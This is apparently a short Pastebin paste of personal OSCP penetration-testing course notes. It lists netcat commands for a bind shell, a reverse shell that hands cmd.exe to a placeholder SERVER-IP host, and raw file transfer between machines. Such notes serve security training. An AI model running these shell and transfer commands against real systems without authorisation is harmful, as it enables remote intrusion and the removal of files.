Guest User

Untitled

a guest
Mar 23rd, 2016
1,661
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #OSCP
  2.  
  3. Notes from OSCP training
  4.  
  5. #### Remote Administration
  6. #####Other
  7.  
  8. * sdb
  9. * ncat
  10.  
  11. #####Netcat
  12.  
  13. Shell
  14.  
  15. ```
  16. #Server
  17. nc -nlvp 4444 -e cmd.exe
  18. #Client
  19. nc -nv SERVER-IP 4444
  20. ```
  21.  
  22. Reverse shell
  23.  
  24. ```
  25. #Server
  26. nc -nlvp 4444
  27. #Client
  28. nc -nv SERVER-IP 4444 -e cmd.exe
  29. ```
  30.  
  31.  
  32. File transfer
  33. ```
  34. #Server
  35. nc -nlvp 4444 > incoming.zip
  36. #Client
  37. nc -nv SERVER-IP 4444 < file-to-transfer.zip
  38. ```
RAW Paste Data